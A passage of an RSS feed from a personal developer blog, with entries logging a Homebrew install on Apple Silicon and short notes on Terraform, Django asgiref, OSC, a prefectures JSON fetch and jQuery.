Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed pip-21.1.3 setuptools-56.0.0
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Homebrew Applie Silicon</title><link>https://hdknr.github.io/blogs/posts/2021/08/homebrew-applie-silicon/</link><pubDate>Thu, 26 Aug 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/08/homebrew-applie-silicon/</guid><description>&lt;pre tabindex="0"&gt;&lt;code&gt;% /bin/bash -c &amp;#34;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)&amp;#34;
==&amp;gt; Checking for `sudo` access (which may request your password).
==&amp;gt; This script will install:
/opt/homebrew/bin/brew
/opt/homebrew/share/doc/homebrew
/opt/homebrew/share/man/man1/brew.1
/opt/homebrew/share/zsh/site-functions/_brew
/opt/homebrew/etc/bash_completion.d/brew
/opt/homebrew
==&amp;gt; The following new directories will be created:
/opt/homebrew/bin
/opt/homebrew/etc
/opt/homebrew/include
/opt/homebrew/lib
/opt/homebrew/sbin
/opt/homebrew/share
/opt/homebrew/var
/opt/homebrew/opt
/opt/homebrew/share/zsh
/opt/homebrew/share/zsh/site-functions
/opt/homebrew/var/homebrew
/opt/homebrew/var/homebrew/linked
/opt/homebrew/Cellar
/opt/homebrew/Caskroom
/opt/homebrew/Frameworks
Press RETURN to continue or any other key to abort
==&amp;gt; /usr/bin/sudo /bin/mkdir -p /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==&amp;gt; /usr/bin/sudo /bin/chmod u=rwx,g=rwx /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==&amp;gt; /usr/bin/sudo /bin/chmod g-w,o-w /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions
==&amp;gt; /usr/bin/sudo /usr/sbin/chown hdknr /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==&amp;gt; /usr/bin/sudo /usr/bin/chgrp admin /opt/homebrew/bin /opt/homebrew/etc /opt/homebrew/include /opt/homebrew/lib /opt/homebrew/sbin /opt/homebrew/share /opt/homebrew/var /opt/homebrew/opt /opt/homebrew/share/zsh /opt/homebrew/share/zsh/site-functions /opt/homebrew/var/homebrew /opt/homebrew/var/homebrew/linked /opt/homebrew/Cellar /opt/homebrew/Caskroom /opt/homebrew/Frameworks
==&amp;gt; /usr/bin/sudo /usr/sbin/chown -R hdknr:admin /opt/homebrew
==&amp;gt; Downloading and installing Homebrew...
remote: Enumerating objects: 189971, done.
remote: Counting objects: 100% (44/44), done.
remote: Compressing objects: 100% (44/44), done.
remote: Total 189971 (delta 0), reused 44 (delta 0), pack-reused 189927
Receiving objects: 100% (189971/189971), 51.67 MiB | 5.76 MiB/s, done.
Resolving deltas: 100% (140767/140767), done.
From https://github.com/Homebrew/brew
* [new branch] automerge-linux -&amp;gt; origin/automerge-linux
* [new branch] dependabot/bundler/Library/Homebrew/mechanize-2.8.2 -&amp;gt; origin/dependabot/bundler/Library/Homebrew/mechanize-2.8.2
* [new branch] dependabot/bundler/Library/Homebrew/mini_portile2-2.6.1 -&amp;gt; origin/dependabot/bundler/Library/Homebrew/mini_portile2-2.6.1
* [new branch] dependabot/bundler/Library/Homebrew/nokogiri-1.12.3 -&amp;gt; origin/dependabot/bundler/Library/Homebrew/nokogiri-1.12.3
* [new branch] master -&amp;gt; origin/master
* [new tag] 0.1 -&amp;gt; 0.1
* [new tag] 0.2 -&amp;gt; 0.2
* [new tag] 0.3 -&amp;gt; 0.3
* [new tag] 0.4 -&amp;gt; 0.4
* [new tag] 0.5 -&amp;gt; 0.5
* [new tag] 0.6 -&amp;gt; 0.6
* [new tag] 0.7 -&amp;gt; 0.7
* [new tag] 0.7.1 -&amp;gt; 0.7.1
* [new tag] 0.8 -&amp;gt; 0.8
* [new tag] 0.8.1 -&amp;gt; 0.8.1
* [new tag] 0.9 -&amp;gt; 0.9
* [new tag] 0.9.1 -&amp;gt; 0.9.1
* [new tag] 0.9.2 -&amp;gt; 0.9.2
* [new tag] 0.9.3 -&amp;gt; 0.9.3
* [new tag] 0.9.4 -&amp;gt; 0.9.4
* [new tag] 0.9.5 -&amp;gt; 0.9.5
* [new tag] 0.9.8 -&amp;gt; 0.9.8
* [new tag] 0.9.9 -&amp;gt; 0.9.9
* [new tag] 1.0.0 -&amp;gt; 1.0.0
* [new tag] 1.0.1 -&amp;gt; 1.0.1
* [new tag] 1.0.2 -&amp;gt; 1.0.2
* [new tag] 1.0.3 -&amp;gt; 1.0.3
* [new tag] 1.0.4 -&amp;gt; 1.0.4
* [new tag] 1.0.5 -&amp;gt; 1.0.5
* [new tag] 1.0.6 -&amp;gt; 1.0.6
* [new tag] 1.0.7 -&amp;gt; 1.0.7
* [new tag] 1.0.8 -&amp;gt; 1.0.8
* [new tag] 1.0.9 -&amp;gt; 1.0.9
* [new tag] 1.1.0 -&amp;gt; 1.1.0
* [new tag] 1.1.1 -&amp;gt; 1.1.1
* [new tag] 1.1.10 -&amp;gt; 1.1.10
* [new tag] 1.1.11 -&amp;gt; 1.1.11
* [new tag] 1.1.12 -&amp;gt; 1.1.12
* [new tag] 1.1.13 -&amp;gt; 1.1.13
* [new tag] 1.1.2 -&amp;gt; 1.1.2
* [new tag] 1.1.3 -&amp;gt; 1.1.3
* [new tag] 1.1.4 -&amp;gt; 1.1.4
* [new tag] 1.1.5 -&amp;gt; 1.1.5
* [new tag] 1.1.6 -&amp;gt; 1.1.6
* [new tag] 1.1.7 -&amp;gt; 1.1.7
* [new tag] 1.1.8 -&amp;gt; 1.1.8
* [new tag] 1.1.9 -&amp;gt; 1.1.9
* [new tag] 1.2.0 -&amp;gt; 1.2.0
* [new tag] 1.2.1 -&amp;gt; 1.2.1
* [new tag] 1.2.2 -&amp;gt; 1.2.2
* [new tag] 1.2.3 -&amp;gt; 1.2.3
* [new tag] 1.2.4 -&amp;gt; 1.2.4
* [new tag] 1.2.5 -&amp;gt; 1.2.5
* [new tag] 1.2.6 -&amp;gt; 1.2.6
* [new tag] 1.3.0 -&amp;gt; 1.3.0
* [new tag] 1.3.1 -&amp;gt; 1.3.1
* [new tag] 1.3.2 -&amp;gt; 1.3.2
* [new tag] 1.3.3 -&amp;gt; 1.3.3
* [new tag] 1.3.4 -&amp;gt; 1.3.4
* [new tag] 1.3.5 -&amp;gt; 1.3.5
* [new tag] 1.3.6 -&amp;gt; 1.3.6
* [new tag] 1.3.7 -&amp;gt; 1.3.7
* [new tag] 1.3.8 -&amp;gt; 1.3.8
* [new tag] 1.3.9 -&amp;gt; 1.3.9
* [new tag] 1.4.0 -&amp;gt; 1.4.0
* [new tag] 1.4.1 -&amp;gt; 1.4.1
* [new tag] 1.4.2 -&amp;gt; 1.4.2
* [new tag] 1.4.3 -&amp;gt; 1.4.3
* [new tag] 1.5.0 -&amp;gt; 1.5.0
* [new tag] 1.5.1 -&amp;gt; 1.5.1
* [new tag] 1.5.10 -&amp;gt; 1.5.10
* [new tag] 1.5.11 -&amp;gt; 1.5.11
* [new tag] 1.5.12 -&amp;gt; 1.5.12
* [new tag] 1.5.13 -&amp;gt; 1.5.13
* [new tag] 1.5.14 -&amp;gt; 1.5.14
* [new tag] 1.5.2 -&amp;gt; 1.5.2
* [new tag] 1.5.3 -&amp;gt; 1.5.3
* [new tag] 1.5.4 -&amp;gt; 1.5.4
* [new tag] 1.5.5 -&amp;gt; 1.5.5
* [new tag] 1.5.6 -&amp;gt; 1.5.6
* [new tag] 1.5.7 -&amp;gt; 1.5.7
* [new tag] 1.5.8 -&amp;gt; 1.5.8
* [new tag] 1.5.9 -&amp;gt; 1.5.9
* [new tag] 1.6.0 -&amp;gt; 1.6.0
* [new tag] 1.6.1 -&amp;gt; 1.6.1
* [new tag] 1.6.10 -&amp;gt; 1.6.10
* [new tag] 1.6.11 -&amp;gt; 1.6.11
* [new tag] 1.6.12 -&amp;gt; 1.6.12
* [new tag] 1.6.13 -&amp;gt; 1.6.13
* [new tag] 1.6.14 -&amp;gt; 1.6.14
* [new tag] 1.6.15 -&amp;gt; 1.6.15
* [new tag] 1.6.16 -&amp;gt; 1.6.16
* [new tag] 1.6.17 -&amp;gt; 1.6.17
* [new tag] 1.6.2 -&amp;gt; 1.6.2
* [new tag] 1.6.3 -&amp;gt; 1.6.3
* [new tag] 1.6.4 -&amp;gt; 1.6.4
* [new tag] 1.6.5 -&amp;gt; 1.6.5
* [new tag] 1.6.6 -&amp;gt; 1.6.6
* [new tag] 1.6.7 -&amp;gt; 1.6.7
* [new tag] 1.6.8 -&amp;gt; 1.6.8
* [new tag] 1.6.9 -&amp;gt; 1.6.9
* [new tag] 1.7.0 -&amp;gt; 1.7.0
* [new tag] 1.7.1 -&amp;gt; 1.7.1
* [new tag] 1.7.2 -&amp;gt; 1.7.2
* [new tag] 1.7.3 -&amp;gt; 1.7.3
* [new tag] 1.7.4 -&amp;gt; 1.7.4
* [new tag] 1.7.5 -&amp;gt; 1.7.5
* [new tag] 1.7.6 -&amp;gt; 1.7.6
* [new tag] 1.7.7 -&amp;gt; 1.7.7
* [new tag] 1.8.0 -&amp;gt; 1.8.0
* [new tag] 1.8.1 -&amp;gt; 1.8.1
* [new tag] 1.8.2 -&amp;gt; 1.8.2
* [new tag] 1.8.3 -&amp;gt; 1.8.3
* [new tag] 1.8.4 -&amp;gt; 1.8.4
* [new tag] 1.8.5 -&amp;gt; 1.8.5
* [new tag] 1.8.6 -&amp;gt; 1.8.6
* [new tag] 1.9.0 -&amp;gt; 1.9.0
* [new tag] 1.9.1 -&amp;gt; 1.9.1
* [new tag] 1.9.2 -&amp;gt; 1.9.2
* [new tag] 1.9.3 -&amp;gt; 1.9.3
* [new tag] 2.0.0 -&amp;gt; 2.0.0
* [new tag] 2.0.1 -&amp;gt; 2.0.1
* [new tag] 2.0.2 -&amp;gt; 2.0.2
* [new tag] 2.0.3 -&amp;gt; 2.0.3
* [new tag] 2.0.4 -&amp;gt; 2.0.4
* [new tag] 2.0.5 -&amp;gt; 2.0.5
* [new tag] 2.0.6 -&amp;gt; 2.0.6
* [new tag] 2.1.0 -&amp;gt; 2.1.0
* [new tag] 2.1.1 -&amp;gt; 2.1.1
* [new tag] 2.1.10 -&amp;gt; 2.1.10
* [new tag] 2.1.11 -&amp;gt; 2.1.11
* [new tag] 2.1.12 -&amp;gt; 2.1.12
* [new tag] 2.1.13 -&amp;gt; 2.1.13
* [new tag] 2.1.14 -&amp;gt; 2.1.14
* [new tag] 2.1.15 -&amp;gt; 2.1.15
* [new tag] 2.1.16 -&amp;gt; 2.1.16
* [new tag] 2.1.2 -&amp;gt; 2.1.2
* [new tag] 2.1.3 -&amp;gt; 2.1.3
* [new tag] 2.1.4 -&amp;gt; 2.1.4
* [new tag] 2.1.5 -&amp;gt; 2.1.5
* [new tag] 2.1.6 -&amp;gt; 2.1.6
* [new tag] 2.1.7 -&amp;gt; 2.1.7
* [new tag] 2.1.8 -&amp;gt; 2.1.8
* [new tag] 2.1.9 -&amp;gt; 2.1.9
* [new tag] 2.2.0 -&amp;gt; 2.2.0
* [new tag] 2.2.1 -&amp;gt; 2.2.1
* [new tag] 2.2.10 -&amp;gt; 2.2.10
* [new tag] 2.2.11 -&amp;gt; 2.2.11
* [new tag] 2.2.12 -&amp;gt; 2.2.12
* [new tag] 2.2.13 -&amp;gt; 2.2.13
* [new tag] 2.2.14 -&amp;gt; 2.2.14
* [new tag] 2.2.15 -&amp;gt; 2.2.15
* [new tag] 2.2.16 -&amp;gt; 2.2.16
* [new tag] 2.2.17 -&amp;gt; 2.2.17
* [new tag] 2.2.2 -&amp;gt; 2.2.2
* [new tag] 2.2.3 -&amp;gt; 2.2.3
* [new tag] 2.2.4 -&amp;gt; 2.2.4
* [new tag] 2.2.5 -&amp;gt; 2.2.5
* [new tag] 2.2.6 -&amp;gt; 2.2.6
* [new tag] 2.2.7 -&amp;gt; 2.2.7
* [new tag] 2.2.8 -&amp;gt; 2.2.8
* [new tag] 2.2.9 -&amp;gt; 2.2.9
* [new tag] 2.3.0 -&amp;gt; 2.3.0
* [new tag] 2.4.0 -&amp;gt; 2.4.0
* [new tag] 2.4.1 -&amp;gt; 2.4.1
* [new tag] 2.4.10 -&amp;gt; 2.4.10
* [new tag] 2.4.11 -&amp;gt; 2.4.11
* [new tag] 2.4.12 -&amp;gt; 2.4.12
* [new tag] 2.4.13 -&amp;gt; 2.4.13
* [new tag] 2.4.14 -&amp;gt; 2.4.14
* [new tag] 2.4.15 -&amp;gt; 2.4.15
* [new tag] 2.4.16 -&amp;gt; 2.4.16
* [new tag] 2.4.2 -&amp;gt; 2.4.2
* [new tag] 2.4.3 -&amp;gt; 2.4.3
* [new tag] 2.4.4 -&amp;gt; 2.4.4
* [new tag] 2.4.5 -&amp;gt; 2.4.5
* [new tag] 2.4.6 -&amp;gt; 2.4.6
* [new tag] 2.4.7 -&amp;gt; 2.4.7
* [new tag] 2.4.8 -&amp;gt; 2.4.8
* [new tag] 2.4.9 -&amp;gt; 2.4.9
* [new tag] 2.5.0 -&amp;gt; 2.5.0
* [new tag] 2.5.1 -&amp;gt; 2.5.1
* [new tag] 2.5.10 -&amp;gt; 2.5.10
* [new tag] 2.5.11 -&amp;gt; 2.5.11
* [new tag] 2.5.12 -&amp;gt; 2.5.12
* [new tag] 2.5.2 -&amp;gt; 2.5.2
* [new tag] 2.5.3 -&amp;gt; 2.5.3
* [new tag] 2.5.4 -&amp;gt; 2.5.4
* [new tag] 2.5.5 -&amp;gt; 2.5.5
* [new tag] 2.5.6 -&amp;gt; 2.5.6
* [new tag] 2.5.7 -&amp;gt; 2.5.7
* [new tag] 2.5.8 -&amp;gt; 2.5.8
* [new tag] 2.5.9 -&amp;gt; 2.5.9
* [new tag] 2.6.0 -&amp;gt; 2.6.0
* [new tag] 2.6.1 -&amp;gt; 2.6.1
* [new tag] 2.6.2 -&amp;gt; 2.6.2
* [new tag] 2.7.0 -&amp;gt; 2.7.0
* [new tag] 2.7.1 -&amp;gt; 2.7.1
* [new tag] 2.7.2 -&amp;gt; 2.7.2
* [new tag] 2.7.3 -&amp;gt; 2.7.3
* [new tag] 2.7.4 -&amp;gt; 2.7.4
* [new tag] 2.7.5 -&amp;gt; 2.7.5
* [new tag] 2.7.6 -&amp;gt; 2.7.6
* [new tag] 2.7.7 -&amp;gt; 2.7.7
* [new tag] 3.0.0 -&amp;gt; 3.0.0
* [new tag] 3.0.1 -&amp;gt; 3.0.1
* [new tag] 3.0.10 -&amp;gt; 3.0.10
* [new tag] 3.0.11 -&amp;gt; 3.0.11
* [new tag] 3.0.2 -&amp;gt; 3.0.2
* [new tag] 3.0.3 -&amp;gt; 3.0.3
* [new tag] 3.0.4 -&amp;gt; 3.0.4
* [new tag] 3.0.5 -&amp;gt; 3.0.5
* [new tag] 3.0.6 -&amp;gt; 3.0.6
* [new tag] 3.0.7 -&amp;gt; 3.0.7
* [new tag] 3.0.8 -&amp;gt; 3.0.8
* [new tag] 3.0.9 -&amp;gt; 3.0.9
* [new tag] 3.1.0 -&amp;gt; 3.1.0
* [new tag] 3.1.1 -&amp;gt; 3.1.1
* [new tag] 3.1.10 -&amp;gt; 3.1.10
* [new tag] 3.1.11 -&amp;gt; 3.1.11
* [new tag] 3.1.12 -&amp;gt; 3.1.12
* [new tag] 3.1.2 -&amp;gt; 3.1.2
* [new tag] 3.1.3 -&amp;gt; 3.1.3
* [new tag] 3.1.4 -&amp;gt; 3.1.4
* [new tag] 3.1.5 -&amp;gt; 3.1.5
* [new tag] 3.1.6 -&amp;gt; 3.1.6
* [new tag] 3.1.7 -&amp;gt; 3.1.7
* [new tag] 3.1.8 -&amp;gt; 3.1.8
* [new tag] 3.1.9 -&amp;gt; 3.1.9
* [new tag] 3.2.0 -&amp;gt; 3.2.0
* [new tag] 3.2.1 -&amp;gt; 3.2.1
* [new tag] 3.2.2 -&amp;gt; 3.2.2
* [new tag] 3.2.3 -&amp;gt; 3.2.3
* [new tag] 3.2.4 -&amp;gt; 3.2.4
* [new tag] 3.2.5 -&amp;gt; 3.2.5
* [new tag] 3.2.6 -&amp;gt; 3.2.6
* [new tag] 3.2.7 -&amp;gt; 3.2.7
* [new tag] 3.2.8 -&amp;gt; 3.2.8
* [new tag] 3.2.9 -&amp;gt; 3.2.9
HEAD is now at 858f3fbaa Merge pull request #11921 from Homebrew/dependabot/bundler/Library/Homebrew/sorbet-0.5.9070
==&amp;gt; Tapping homebrew/core
remote: Enumerating objects: 1030054, done.
remote: Counting objects: 100% (138/138), done.
remote: Compressing objects: 100% (67/67), done.
remote: Total 1030054 (delta 77), reused 132 (delta 71), pack-reused 1029916
Receiving objects: 100% (1030054/1030054), 386.75 MiB | 19.32 MiB/s, done.
Resolving deltas: 100% (705903/705903), done.
From https://github.com/Homebrew/homebrew-core
* [new branch] master -&amp;gt; origin/master
HEAD is now at ad32cdaac0 ezstream: update 1.0.2 bottle.
Warning: /opt/homebrew/bin is not in your PATH.
Instructions on how to configure your shell for Homebrew
can be found in the &amp;#39;Next steps&amp;#39; section below.
==&amp;gt; Installation successful!
==&amp;gt; Homebrew has enabled anonymous aggregate formulae and cask analytics.
Read the analytics documentation (and how to opt-out) here:
https://docs.brew.sh/Analytics
No analytics data has been sent yet (or will be during this `install` run).
==&amp;gt; Homebrew is run entirely by unpaid volunteers. Please consider donating:
https://github.com/Homebrew/brew#donations
==&amp;gt; Next steps:
- Run these two commands in your terminal to add Homebrew to your PATH:
echo &amp;#39;eval &amp;#34;$(/opt/homebrew/bin/brew shellenv)&amp;#34;&amp;#39; &amp;gt;&amp;gt; /Users/hdknr/.zprofile
eval &amp;#34;$(/opt/homebrew/bin/brew shellenv)&amp;#34;
- Run `brew help` to get started
- Further documentation:
https://docs.brew.sh
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Terraform</title><link>https://hdknr.github.io/blogs/posts/2021/06/terraform/</link><pubDate>Sat, 12 Jun 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/06/terraform/</guid><description>&lt;h1 id="readme"&gt;README&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;tfenvのインストール&lt;/li&gt;
&lt;li&gt;設定ファイルの作成&lt;/li&gt;
&lt;li&gt;terraform init&lt;/li&gt;
&lt;li&gt;terraform plan&lt;/li&gt;
&lt;li&gt;terraform apply&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="設計運用"&gt;設計運用&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://qiita.com/naomichi-y/items/4501331d114b4ef9d584"&gt;Terraform設計・運用のノウハウ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.terraform-best-practices.com/"&gt;ベストプラクティス&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/antonbabenko/terraform-best-practices"&gt;antonbabenko/terraform-best-practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;ファイル&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;内容&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;main.tf&lt;/td&gt;
&lt;td&gt;リソースを作成する(&lt;code&gt;moduels&lt;/code&gt;, &lt;code&gt;locals&lt;/code&gt;, &lt;code&gt;data-sources&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;variables.tf&lt;/td&gt;
&lt;td&gt;&lt;code&gt;main.tf&lt;/code&gt; で使われる変数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;outputs.tf&lt;/td&gt;
&lt;td&gt;&lt;code&gt;main.tf&lt;/code&gt; が作成したリソースの出力&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-zsh" data-lang="zsh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;% tree large-terraform
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;large-terraform
├── README.md
├── modules
│ └── network
│ ├── main.tf
│ ├── outputs.tf
│ └── variables.tf
├── prod
│ ├── main.tf
│ ├── outputs.tf
│ ├── terraform.tfvars
│ └── variables.tf
└── stage
├── main.tf
├── outputs.tf
├── terraform.tfvars
└── variables.tf
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="hcl-hcl-is-the-hashicorp-configuration-language"&gt;HCL (HCL is the HashiCorp configuration language.)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/hashicorp/hcl"&gt;https://github.com/hashicorp/hcl&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://qiita.com/dd511805/items/6e8dd1cf8335d244cf78"&gt;Terraform v0.12で変わるHCLの記述について&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;コメント:&lt;/p&gt;</description></item><item><title>Django: asgiref</title><link>https://hdknr.github.io/blogs/posts/2021/06/django-asgiref/</link><pubDate>Wed, 02 Jun 2021 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2021/06/django-asgiref/</guid><description>&lt;h1 id="asgiref"&gt;asgiref&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/django/asgiref"&gt;https://github.com/django/asgiref&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ASGI:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ASGI is a standard for Python asynchronous web apps and servers to communicate with each other,&lt;/li&gt;
&lt;li&gt;and positioned as an asynchronous successor to WSGI.&lt;/li&gt;
&lt;li&gt;You can read more at &lt;a href="https://asgi.readthedocs.io/en/latest/"&gt;https://asgi.readthedocs.io/en/latest/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This package includes ASGI base libraries, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sync-to-async and async-to-sync function wrappers, &lt;a href="https://github.com/django/asgiref/blob/main/asgiref/sync.py"&gt;asgiref.sync&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Server base classes, &lt;a href="https://github.com/django/asgiref/blob/main/asgiref/server.py"&gt;asgiref.server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A WSGI-to-ASGI adapter, in &lt;a href="https://github.com/django/asgiref/blob/main/asgiref/wsgi.py"&gt;asgiref.wsgi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="function-wrappers"&gt;Function wrappers&lt;/h2&gt;
&lt;p&gt;These allow you to wrap or decorate async or sync functions to call them from the other style (so you can call async functions from a synchronous thread, or vice-versa).&lt;/p&gt;</description></item><item><title>OSC</title><link>https://hdknr.github.io/blogs/posts/2020/11/osc/</link><pubDate>Tue, 17 Nov 2020 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2020/11/osc/</guid><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.music.mcgill.ca/~gary/306/week9/osc.html"&gt;https://www.music.mcgill.ca/~gary/306/week9/osc.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://opensoundcontrol.org/"&gt;http://opensoundcontrol.org/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/python-osc/"&gt;https://pypi.org/project/python-osc/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techracho.bpsinc.jp/katayama-yuuki/2017_07_13/42884"&gt;https://techracho.bpsinc.jp/katayama-yuuki/2017_07_13/42884&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/colinbdclark/osc.js"&gt;https://github.com/colinbdclark/osc.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/ValdemarOrn/SharpOSC"&gt;https://github.com/ValdemarOrn/SharpOSC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>都道府県</title><link>https://hdknr.github.io/blogs/posts/2018/01/%E9%83%BD%E9%81%93%E5%BA%9C%E7%9C%8C/</link><pubDate>Tue, 23 Jan 2018 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2018/01/%E9%83%BD%E9%81%93%E5%BA%9C%E7%9C%8C/</guid><description>&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ curl https://gist.githubusercontent.com/hdknr/5d4652c00dfd893ca87ba4d709951089/raw/d12a3b2c2108317720c37a51c905be3314558188/prefectures.json | jq &lt;span style="color:#e6db74"&gt;&amp;#34;.[]&amp;#34;&lt;/span&gt; -r
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>jQuery</title><link>https://hdknr.github.io/blogs/posts/2015/08/jquery/</link><pubDate>Fri, 07 Aug 2015 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2015/08/jquery/</guid><description>&lt;h1 id="ツール"&gt;ツール&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.nxworld.net/tips/50-jquery-form-plugins.html"&gt;フォーム入力関係&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="セレクタ"&gt;セレクタ&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/hdknr/9dcd99943d15845c735d#gistcomment-2077136"&gt;前方, 部分、後方一致&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="イベントハンドラ"&gt;イベントハンドラ&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;on : 動的な要素に対しても追加可能(&lt;a href="https://app.codegrid.net/entry/practical-jquery-1"&gt;https://app.codegrid.net/entry/practical-jquery-1&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;hover: mouseenterとmouseleaveのエイリアス( &lt;a href="http://h2ham.seesaa.net/article/242553044.html"&gt;http://h2ham.seesaa.net/article/242553044.html&lt;/a&gt; )&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="ドラッグ"&gt;ドラッグ&lt;/h1&gt;
&lt;ul&gt;
